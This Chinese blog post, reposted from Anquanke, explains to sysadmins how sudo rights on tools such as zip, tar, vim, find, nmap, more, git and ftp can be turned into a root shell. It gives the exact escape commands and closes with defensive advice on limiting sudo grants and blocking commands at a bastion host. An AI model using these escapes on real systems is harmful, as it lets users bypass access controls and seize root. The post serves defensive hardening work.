来自安全客,https://www.anquanke.com/post/id/158511
0x00. sudo 是个啥
在日常的运维安全工作中,经常会遇到开发 OR 测试 同学要求: 我需要在某某服务器上运行一个东东,必须以root权限运行,请帮忙处理下。怎么办? 直接给root账户,让其搞去? 不存在的,但凡是个有章程的公司都不会共享root账户,比较普遍的做法就是利用sudo (Substitute User and Do 的简写)给其临时授权,可以临时让其以root 权限运行某个程序。 但是运维的小伙子们,sudo 授权可要小心,不能求而不拒,什么程序都放行,不然可能会被别有用心的人恶意提权成root账户权限。 下文会详细介绍如何利用特定的sudo 授权程序进行提权。
0x01. 警惕常见的可以利用sudo授权然后提权成完整root权限的程序(命令)
1)zip
test 用户是个普通用户,申请sudo 授权zip 命令
然后执行:
sudo zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
成功提权成完整root权限
简单解释下 提权是如何实现的
-T 表示测试test.zip的完整性
—unzip-command 与-T 一起使用,可以指定自定义命令 用于解压test.zip(测试用)
利用点就在 可以自定义用于解压test.zip 的的命令,当然自定义解压命令是以root权限执行的,这里指定为sh -c /bin/bash, 就可以以root权限获取一个shell
2)tar
test 用户是个普通用户,申请sudo 授权tar命令
然后执行:
sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
成功提权成完整root权限
简单解释下 提权是如何实现的
–checkpoint-action 选项是提权点,可以自定义需要执行的动作,当然是以root权限执行
这里指定为exec=/bin/bash,以root权限执行/bin/bash,获取一个root权限的shell
3)strace
简单解释下 提权是如何实现的
strace 以root权限运行跟踪调试/bin/bash, 从而获取root权限的shell
4)nmap
以root权限执行nmap ,然后nmap执行脚本,脚本执行/bin/sh, 获取root 权限shell
如果是老版本的nmap,还可以换一种姿势利用nmap 实现root 提权
sudo nmap --interactive nmap> !sh sh-4.1#
5) more
sudo more /etc/rsyslog.conf
然后键入
!/bin/bash 即可获取root权限的shell
同理的命令还有 less 和 man (sudo man ssh)
6) git
sudo git help status
然后键入!/bin/bash 即可以root 权限运行/bin/bash, 获取root权限的shell,原理同more
7)ftp
sudo ftp
在ftp交互式接口下键入!/bin/bash, 便可以root权限运行/bin/bash, 获取root权限的shell
8)vim
sudo vim -c '!sh'
可以直接以root权限运行 指定命令,这里可以直接获取root权限的shell
9)find
sudo find /bin/ -name ls -exec /bin/bash ;
对于find 检索到的每一个结果,都执行/bin/bash, 是以root权限执行的哦,很方便的获取root 权限的shell
10 ) passwd
sudo passwd 可以更改root的密码
然后su –
输入修改后的root密码,就可以切换到root shell
0x02. 如何防范?
这才是我关注的重点
必须得说,这个不是很好防范,只能尽量减少风险
sudo的配置文件只能限制那些用户可以使用sudo,可以使用哪些命令,但不能限制用户使用这些命令进行提权获取root shell,我们设置sudo的本意就是让用户能临时获取root 权限执行某些命令而不是永久获取root shell 并可以root权限执行任何命令,有什么好的办法的? 我总结了以下几个方法以期能减少sudo 使用带来的风险
1) 不要安装某些工具命令
比如strace、ftp、nmap、tcpdump、except、nano,这些命令都是可以实现sudo + 命令 提权成root shell的,况且这些命令都不是必须的
2) sudo 不能滥授权
授权之前,必须仔细审核,能不授权的授权,多考虑替代方案,必要的才授权
2)其次使用堡垒机拦截非法命令
有人说将用户加入root组,不存在的,加入root组并不能保证用户以root身份执行某些命令。 最好的办法就是前置堡垒机,在堡垒机上进行非法命令拦截,经过我的一番探索,在我司的堡垒机(基于jumpserver 二次开发,研究过jumpserver代码的对下文代码应该会比较熟悉)上实现了拦截非法sudo 提权命令的功能:
代码简写如下:
data 即为解析后的完整命令,通过正则匹配来检测是否有非法命令(黑名单思路,故有可能被绕过,白名单不知道咋搞,有好的思路的大牛在下面留言中指点下小弟)
0x03. 总结
如果获取了对于某个命令的sudo 授权,则有可能利用sudo获取root shell,所以在审核申请人sudo 请求的时候,一定要留心。当然还有很多其他命令可以实现0x01 提到的哪些命令所实现的root提权,比如 nano 、wget (通过写密码文件)、tcpdump等,如果大伙有更多可以提权的命令,不妨在留言中补充
本文参考资料:
http://touhidshaikh.com/blog/?p=790
http://blog.securelayer7.net/abusing-sudo-advance-linux-privilege-escalation/